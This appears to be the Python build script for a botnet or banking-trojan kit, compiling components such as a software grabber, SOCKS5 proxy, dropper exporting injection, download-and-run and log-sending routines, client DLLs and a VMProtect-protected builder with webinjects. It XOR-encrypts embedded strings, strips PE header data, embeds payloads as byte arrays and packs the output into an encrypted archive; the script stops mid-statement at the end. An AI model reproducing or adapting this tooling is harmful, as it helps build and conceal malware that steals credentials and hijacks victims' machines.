<gh_stars>1-10
import sys
import fnmatch
import os
import subprocess
import datetime
import struct
import re
import binascii
import random
import shutil

#VC_PATH = 'C:\\Program Files\\Microsoft Visual Studio 10.0\\VC'
#SDK_PATH = 'C:\\Program Files\\Microsoft SDKs\\Windows\v7.0A'

VCDLLS_PATH = 'C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\Common7\\IDE'
VC_PATH = 'C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC'
SDK_PATH = 'C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v7.0A'

VCBIN_PATH = VC_PATH + '\\bin'
SDKBIN_PATH = SDK_PATH + '\\bin'

CL_WIN32 = '"' + VCBIN_PATH + '\\cl.exe" /arch:SSE {0}'
CL_WIN64 = '"' + VCBIN_PATH + '\\amd64\\cl.exe" /favor:blend {0}'

LINK_WIN32 = '"' + VCBIN_PATH + '\\link.exe" /MACHINE:X86 {0}'
LINK_WIN64 = '"' + VCBIN_PATH + '\\amd64\\link.exe" /MACHINE:X64 {0}'

ASM_WIN64 = '"' + VCBIN_PATH + '\\amd64\\ml64.exe" {0}'

RC_WIN = '"' + SDKBIN_PATH + '\\rc.exe" {0}'

BIN_PATH = 'bin'
SOURCE_PATH = 'source'
TEMP_PATH = 'temp'
OUTPUT_PATH = 'output'

CONFIG_FILENAME = 'config.ini'
# ---------------------------------------------------------------------
CL_ARGs = '{opt} {code} {output} {debug} {pre} {lang} {misc} {include} '
# ---------------------------------------------------------------------
RC_ARGs = '{include} {opt} {out} '
rc_opt = '/D "_UNICODE" /D "UNICODE"'
rc_out = '/FO"{0}"'
# ---------------------------------------------------------------------
LINK_ARGs = '{libpath} {entrypoint} {opt} {map} {out} {lib} '
lnk_map = '/MAP:"{0}" /MAPINFO:EXPORTS'
lnk_out = '/OUT:"{0}"'
# ---------------------------------------------------------------------
def die(message = None):
    if message:
        print(message)
    sys.exit(-1)

def listdir(dir, mask, quote):
    list = []
    for file in os.listdir(dir):
        if fnmatch.fnmatch(file, mask):
            if quote:
                list.append('"{0}"'.format(os.path.join(dir, file)))
            else:
                list.append(os.path.join(dir, file))
    return list

def cleandir(topdir):
    for root, dirs, files in os.walk(topdir, topdown=False):
        for name in files:
            os.remove(os.path.join(root, name))
        for name in dirs:
            os.rmdir(os.path.join(root, name))
    try:
        os.rmdir(topdir)
    except WindowsError:
        pass
    return

def read_config(filename):
    f = open(filename, 'rt')

    config = {}
    for line in f.readlines():
        list = line.strip('\r\n\t').split('=')
        if len(list) == 2:
            config[list[0].strip(' \r\n\t')] = list[1].strip(' \r\n\t')
    f.close()

    return config

def generate_header_from_binary(binary, header, name):
    f = open(binary, 'rb')
    binary_data = f.read()
    f.close()

    f = open (header, 'wt')

    f.write('#pragma once\n\n')
    f.write('// autogenerated file\n\n')

    f.write('const BYTE ' + name + '[] =\n')
    f.write('{\n')
    x = 0
    line = ''
    for i in range(len(binary_data)):
        if x == 0:
            line = '\t0x{0:02X}'.format(binary_data[i])
            x += 1
        elif x == 16:
            f.write(line)
            f.write(',\n')
            line = '\t0x{0:02X}'.format(binary_data[i])
            x = 1
        else:
            line += ', 0x{0:02X}'.format(binary_data[i])
            x += 1
    if x != 0:
        f.write(line)
        f.write('\n')
    f.write('};\n')
    f.close()
    return

def generate_config_header(config, path, debug_build = False):
    f = open(path,'rt')
    data = f.read()
    f.close()

    generated_data = '//AUTOGENERATED_PART_START\n'
    version = config['version'].split('.')
    version = '0x{0:02X}{1:02X}{2:02X}{3:02X}'.format(int(version[0]), int(version[1]), int(version[2]), int(version[3]))
    if debug_build:
        name = '{0} {1}'.format(config['name'], 'Debug')
    else:
        name = config['name']
    generated_data += '#define BOT_NAME\t\tL"{0}"\n'.format(name)
    generated_data += '#define BOT_VERSION\t\t{0} //{1}\n'.format(version, config['version'])
    generated_data += '#define BOT_BUILDTIME\tL"' + datetime.datetime.utcnow().strftime('%d.%m.%Y %H:%M:%S GMT') + '"\n'
    generated_data += '#define BO_DEBUG\t\t{0}\n'.format(1 if debug_build else 0)
    generated_data += '#define RAND_DWORD1\t\t0x{0:08X}\n'.format(random.randint(1,0xFFFFFFFF))
    generated_data += '#define RAND_DWORD2\t\t0x{0:08X}\n'.format(random.randint(1,0xFFFFFFFF))
	
    generated_data += '#define BO_KEYLOGGER\t\t0\n'
	
    generated_data += '//AUTOGENERATED_PART_END'

    data = re.sub(r'//AUTOGENERATED_PART_START.+//AUTOGENERATED_PART_END', generated_data, data, flags=re.IGNORECASE|re.DOTALL)

    f = open(path,'w')
    f.write(data)
    f.close()

def generate_crypted_string(path):
    strings_dict = {}
    random.seed(None)
    f = open(os.path.join(path, 'cryptedstrings.txt'),'rt')
    for line in f.readlines():
        line = line.strip('\r\n \t')
        if (len(line) and line[0] != '/'):
            matched = re.findall(r' ".+$', line, flags=re.IGNORECASE)
            strings_dict[line.split()[0]] = bytes(matched[0].strip('" \n\r'), 'utf-8').decode('unicode_escape')
    f.close()

    cpp_content = ''
    header_id = ''
    header_len = ''
    header_crc = ''
    header_crci = ''

    max_len = 0
    while (len(strings_dict)):
        v = random.choice(list(strings_dict.keys()))
        hex_value = ''
        xor = random.randint(1, 255)
        z = 0
        for x in strings_dict[v]:
            hex_value += "\\x{0:02X}".format(((ord(x) ^ xor) ^ z) & 0xFF)
            z += 1

        cpp_content += '\t{{{0: 4d}, {1: 4d}, "{2:s}"}},\n'.format(xor, len(strings_dict[v]), hex_value)

        header_id += '\t\tid_{0:s},\n'.format(v)
        header_len += '\t\tlen_{0:s} = ({1:d} + 1),\n'.format(v, len(strings_dict[v]))
        header_crc += '\t\tcrc_{0:s} = 0x{1:08X},\n'.format(v, binascii.crc32(bytes(strings_dict[v], 'UTF-16LE')))
        header_crci += '\t\tcrci_{0:s} = 0x{1:08X},\n'.format(v, binascii.crc32(bytes(strings_dict[v].lower(), 'UTF-16LE')))

        max_len = max([max_len, len(strings_dict[v])])
        strings_dict.pop(v)

    header_id += '\t\tid_count\n'
    header_len += '\t\tlen_max = ({0:d} + 1)\n'.format(max_len)
    cpp_content += '\t{   0,    0, NULL}\n'

    cpp_content = '//STRINGS_DATA_BEGIN\n' + cpp_content + '//STRINGS_DATA_END'
    header_id = '//STRINGS_ID_BEGIN\n' + header_id + '//STRINGS_ID_END'
    header_len = '//STRINGS_LENGTH_BEGIN\n' + header_len + '//STRINGS_LENGTH_END'
    header_crc = '//STRINGS_CRC_BEGIN\n' + header_crc + '//STRINGS_CRC_END'
    header_crci = '//STRINGS_CRCI_BEGIN\n' + header_crci + '//STRINGS_CRCI_END'

    f = open(os.path.join(path, 'cryptedstrings.h'),'rt')
    data = f.read()
    f.close()

    crc_rand = '#define CRC_RAND 0x{0:08X}'.format(random.randint(1,0xFFFFFFFF))

    data = re.sub(r'//STRINGS_ID_BEGIN.+//STRINGS_ID_END', header_id, data, flags=re.IGNORECASE|re.DOTALL)
    data = re.sub(r'//STRINGS_LENGTH_BEGIN.+//STRINGS_LENGTH_END', header_len, data, flags=re.IGNORECASE|re.DOTALL)
    data = re.sub(r'//STRINGS_CRC_BEGIN.+//STRINGS_CRC_END', header_crc, data, flags=re.IGNORECASE|re.DOTALL)
    data = re.sub(r'//STRINGS_CRCI_BEGIN.+//STRINGS_CRCI_END', header_crci, data, flags=re.IGNORECASE|re.DOTALL)
    data = re.sub(r'#define CRC_RAND .+', crc_rand, data, flags=re.IGNORECASE)

    f = open(os.path.join(path, 'cryptedstrings.h'),'w')
    f.write(data)
    f.close()

    f = open(os.path.join(path, 'cryptedstrings.cpp'),'rt')
    data = f.read()
    f.close()

    data = re.sub(r'//STRINGS_DATA_BEGIN.+//STRINGS_DATA_END', cpp_content, data, flags=re.IGNORECASE|re.DOTALL)

    f = open(os.path.join(path, 'cryptedstrings.cpp'),'w')
    f.write(data)
    f.close()

    return

def clean_pe(file):

    f = open(file, 'rb')
    pe32 = f.read()
    f.close()

    header_offset = struct.unpack_from('L', pe32, 0x3C)[0]

    pe32 = bytearray(pe32)
    for i in range(0x40, header_offset):
        pe32[i] = 0x00

    f = open(file, 'wb')
    f.write(pe32)
    f.close()


def run(cmd):
    p = subprocess.Popen(cmd)
    return p.wait()

def pack_dir(bin, out, dir):

    password = ''.join(['{:<PASSWORD>(random.randint(0, 255)) for x in range(16)])
    run_7z =  '{0}\\7z.exe '.format(bin)
    run_7z += 'a -t7z -mx=9 -ms=on -mf=on -mhc=on -mhe=on -mmt=on -p{0} '.format(password)
    run_7z += '-r -ssw -y -- "{0}" "{1}"'.format(os.path.join(out,'pack.7z'), dir)

    f = open(os.path.join(out,'password.txt'), 'wt')
    f.write(password)
    f.close()

    print(run_7z)
    run(run_7z)

    return

def build_project(project, project_out, params, is_x64 = False):

    cwd = os.getcwd()
    source = os.path.join(os.path.join(cwd, SOURCE_PATH), project)
    temp = os.path.join(os.path.join(cwd, TEMP_PATH), project)
    output = os.path.join(os.path.join(cwd, OUTPUT_PATH), project)
    #ugly hack
    if is_x64:
        temp += '64'
        output += '64'
    out_file = os.path.join(output, project_out)

    try:
        os.mkdir(temp)
        os.mkdir(output)
    except WindowsError:
        die('ERROR: Cant create directory')

    cpp_files = ' '.join(listdir(source, '*.cpp', True))
    asm_files = ' '.join(listdir(source, '*.asm', True))

    include = '/I "{0}"'.format(os.path.join(VC_PATH, 'include'))
    include += ' /I "{0}"'.format(os.path.join(SDK_PATH, 'Include'))
    include += ' /I "{0}"'.format(os.path.join(cwd, 'include'))
    include += ' /I "{0}"'.format(os.path.join(cwd, os.path.join(SOURCE_PATH, 'common')))
    include += ' /I "{0}"'.format(os.path.join(cwd, os.path.join(os.path.join(SOURCE_PATH, 'common'), 'share')))

    print('--- COMPILE ---')
    args = CL_ARGs.format(opt=params['cl_switch_opt'], code=params['cl_switch_code_gen'], output=params['cl_switch_output'].format(temp),
        debug=params['cl_switch_debugging'], lang=params['cl_switch_lang'], misc=params['cl_switch_misc'], include=include,
        pre= ' '.join([params['preproc1'], params['preproc2']]))

    CL = CL_WIN64 if is_x64 else CL_WIN32
    res = run(CL.format(args + cpp_files))
    if (res != 0):
        die()
	
    resources = os.path.join(source, 'resources')
    if os.path.exists(resources):
        print('--- RES ---')

        include = '/I "{0}"'.format(os.path.join(VC_PATH, 'include'))
        include += ' /I "{0}"'.format(os.path.join(SDK_PATH, 'Include'))
        include += ' /I "{0}"'.format(os.path.join(cwd, 'include'))

        args = RC_ARGs.format(include=include, opt=rc_opt, out=rc_out.format(os.path.join(temp, '0.res')))

        rc_files = ' '.join(listdir(os.path.join(source, 'resources'), '*.rc', True))

        res = run(RC_WIN.format(args + rc_files))
        if (res != 0):
            die()

    print('--- LINK ---')

    if is_x64:
        libpath = '/LIBPATH:"{0}"'.format(os.path.join(VC_PATH, 'lib\\amd64'))
        libpath += ' /LIBPATH:"{0}"'.format(os.path.join(SDK_PATH, 'Lib\\x64'))
        libpath += ' /LIBPATH:"{0}"'.format(os.path.join(cwd, 'lib\\x64'))        
    else:
        libpath = '/LIBPATH:"{0}"'.format(os.path.join(VC_PATH, 'lib'))
        libpath += ' /LIBPATH:"{0}"'.format(os.path.join(SDK_PATH, 'lib'))
        libpath += ' /LIBPATH:"{0}"'.format(os.path.join(cwd, 'lib\\x32'))        

    args = LINK_ARGs.format(libpath=libpath, entrypoint=params['entrypoint'],
        opt=' '.join([params['linkopt'], params['lnk_opt1'], params['lnk_opt2'], params['lnk_opt3']]),
        lib=params['linklibs'], map=lnk_map.format(os.path.join(temp, project + '.map')),
        out=lnk_out.format(out_file))

    obj_files = ' '.join(listdir(temp, '*.obj', True))
    res_files = ' '.join(listdir(temp, '*.res', True))

    LINK = LINK_WIN64 if is_x64 else LINK_WIN32
    res = run(LINK.format(args + res_files + ' ' + obj_files))
    if (res != 0):
        die()

    clean_pe(out_file)

def main(debug_build = False):
    print('--- BUILD START ---')

    if not os.path.exists(VC_PATH) or not os.path.exists(SDK_PATH) or not os.path.exists(VCDLLS_PATH):
        die('Error: Visual Studio path is incorrect.')

    os.putenv('PATH', os.getenv('PATH') + ';' + VCDLLS_PATH)

    cwd = os.getcwd()
    source = os.path.join(cwd, SOURCE_PATH)
    temp = os.path.join(cwd, TEMP_PATH)
    output = os.path.join(cwd, OUTPUT_PATH)
    bin = os.path.join(cwd, BIN_PATH)

    try:
        cleandir(temp)
        cleandir(output)
        os.mkdir(temp)
        os.mkdir(output)
    except WindowsError:
        pass

    print('--- AUTOGENERATED FILES ---')
    config = read_config(os.path.join(cwd, CONFIG_FILENAME))
    generate_crypted_string(os.path.join(source, 'clientdll'))
    generate_config_header(config, os.path.join(source,'common\\config.h'), debug_build)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
			  'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
			  'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib lde32.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('softwaregrabber','softwaregrabber.dll', params)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
			  'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
			  'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib lde32.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('socks_server','socks5Server32.dll', params)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "_WIN64"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
              'linklibs' : 'ntdll.lib kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib LDE64x64.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('socks_server','socks5Server64.dll', params, True)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
              'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib lde32.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib urlmon.lib',
              }

    build_project('mod-killer','mod-killer.dll', params)

    params = {'cl_switch_code_gen' : '/Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Gz /GL /analyze-', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W3 /WX-',      # Miscellaneous
	          'cl_switch_opt' : '/Ox /Ob1 /Oi /Os /Oy-',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO /FIXED:NO /ALLOWISOLATION',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:"level=\'asInvoker\' uiAccess=\'false\'" /VERSION:1.0',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32" /D "_WIN32" /D "_CRT_SECURE_NO_WARNINGS" /D "_MBCS"',
              'preproc2' : '/D "_WINDOWS" /X',
              'entrypoint' : '/ENTRY:Entry /export:InjectNormalRoutine /export:InjectApcRoutine /export:DownloadRunExeUrl /export:DownloadRunExeId /export:DownloadRunModId /export:DownloadUpdateMain /export:WriteConfigString /export:SendLogs',
              'linkopt' : '/SUBSYSTEM:WINDOWS',# /SECTION:.text,WRE',
              'linklibs' : 'ntdll.lib kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib urlmon.lib msvcrt.lib taskschd.lib comsupp.lib imagehlp.lib Winspool.lib aplib.lib',
              }

    build_project('dropper','dropper32.exe', params)

    params = {'cl_switch_code_gen' : '/Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Gz /GL /analyze-', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W3 /WX-',      # Miscellaneous
	          'cl_switch_opt' : '/Ox /Ob1 /Oi /Os /Oy-',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO /FIXED:NO /ALLOWISOLATION',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:"level=\'asInvoker\' uiAccess=\'false\'" /VERSION:1.0',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "_WIN64" /D "_CRT_SECURE_NO_WARNINGS" /D "_MBCS"',
              'preproc2' : '/D "_WINDOWS" /X',
              'entrypoint' : '/ENTRY:Entry /export:InjectNormalRoutine /export:InjectApcRoutine /export:DownloadRunExeUrl /export:DownloadRunExeId /export:DownloadRunModId /export:DownloadUpdateMain /export:WriteConfigString /export:SendLogs',
              'linkopt' : '/SUBSYSTEM:WINDOWS',# /SECTION:.text,WRE',
              'linklibs' : 'ntdll.lib kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib urlmon.lib msvcrt.lib taskschd.lib comsupp.lib imagehlp.lib Winspool.lib aplib.lib',
              }

    build_project('dropper','dropper64.exe', params, True)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain /export:ImageLoadNotifyRoutine /export:ImageUnloadNotifyRoutine',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
              'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib lde32.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('clientdll','client32.dll', params)

    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "_WIN64"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain /export:ImageLoadNotifyRoutine /export:ImageUnloadNotifyRoutine',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
              'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib LDE64x64.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('clientdll','client64.dll', params, True)    

    generate_header_from_binary(os.path.join(output, os.path.join('dropper', 'dropper32.exe')),
        os.path.join(os.path.join(source, 'builder'), 'dropper32.h'), 'dropperfile32')

    generate_header_from_binary(os.path.join(output, os.path.join('dropper64', 'dropper64.exe')),
        os.path.join(os.path.join(source, 'builder'), 'dropper64.h'), 'dropperfile64')
	
    generate_header_from_binary(os.path.join(output, os.path.join('clientdll', 'client32.dll')),
        os.path.join(os.path.join(source, 'builder'), 'dllfile32.h'), 'dllfile32')

    generate_header_from_binary(os.path.join(output, os.path.join('clientdll64', 'client64.dll')),
        os.path.join(os.path.join(source, 'builder'), 'dllfile64.h'), 'dllfile64')

    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /DBUILDER /X',
              'entrypoint' : '/ENTRY:entryPoint',
              'linkopt' : '/SUBSYSTEM:WINDOWS',
              'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib gdi32.lib comctl32.lib comdlg32.lib ole32.lib psapi.lib lde32.lib VMProtectSDK32.lib',
              }
    
    outfile = 'builder_debug.exe' if debug_build else 'builder.exe'

    build_project('builder', outfile, params)

    print('--- COPY FILES ---')
    shutil.copy(os.path.join(cwd, 'example\\config.txt'), os.path.join(output, 'builder\\config.txt'))
    shutil.copy(os.path.join(cwd, 'example\\webinjects.txt'), os.path.join(output, 'builder\\webinjects.txt'))
    shutil.copy(os.path.join(cwd, 'example\\settings.ini'), os.path.join(output, 'builder\\settings.ini'))
    if debug_build:
        shutil.copy(os.path.join(cwd, 'example\\builder_debug.exe.vmp'), os.path.join(output, 'builder\\builder_debug.exe.vmp'))   
        shutil.copy(os.path.join(cwd, 'temp\\builder\\builder.map'), os.path.join(output, 'builder\\builder_debug.map'))
    else:
        shutil.copy(os.path.join(cwd, 'example\\builder.exe.vmp'), os.path.join(output, 'builder\\builder.exe.vmp'))
        shutil.copy(os.path.join(cwd, 'temp\\builder\\builder.map'), os.path.join(output, 'builder\\builder.map'))
    print('--- PACKING ---')
    pack_dir(bin, output, os.path.join(output, 'builder'))

if __name__=='__main__':
    debug = False
    if len(sys.argv) > 1 and sys.argv[1] == 'debug':
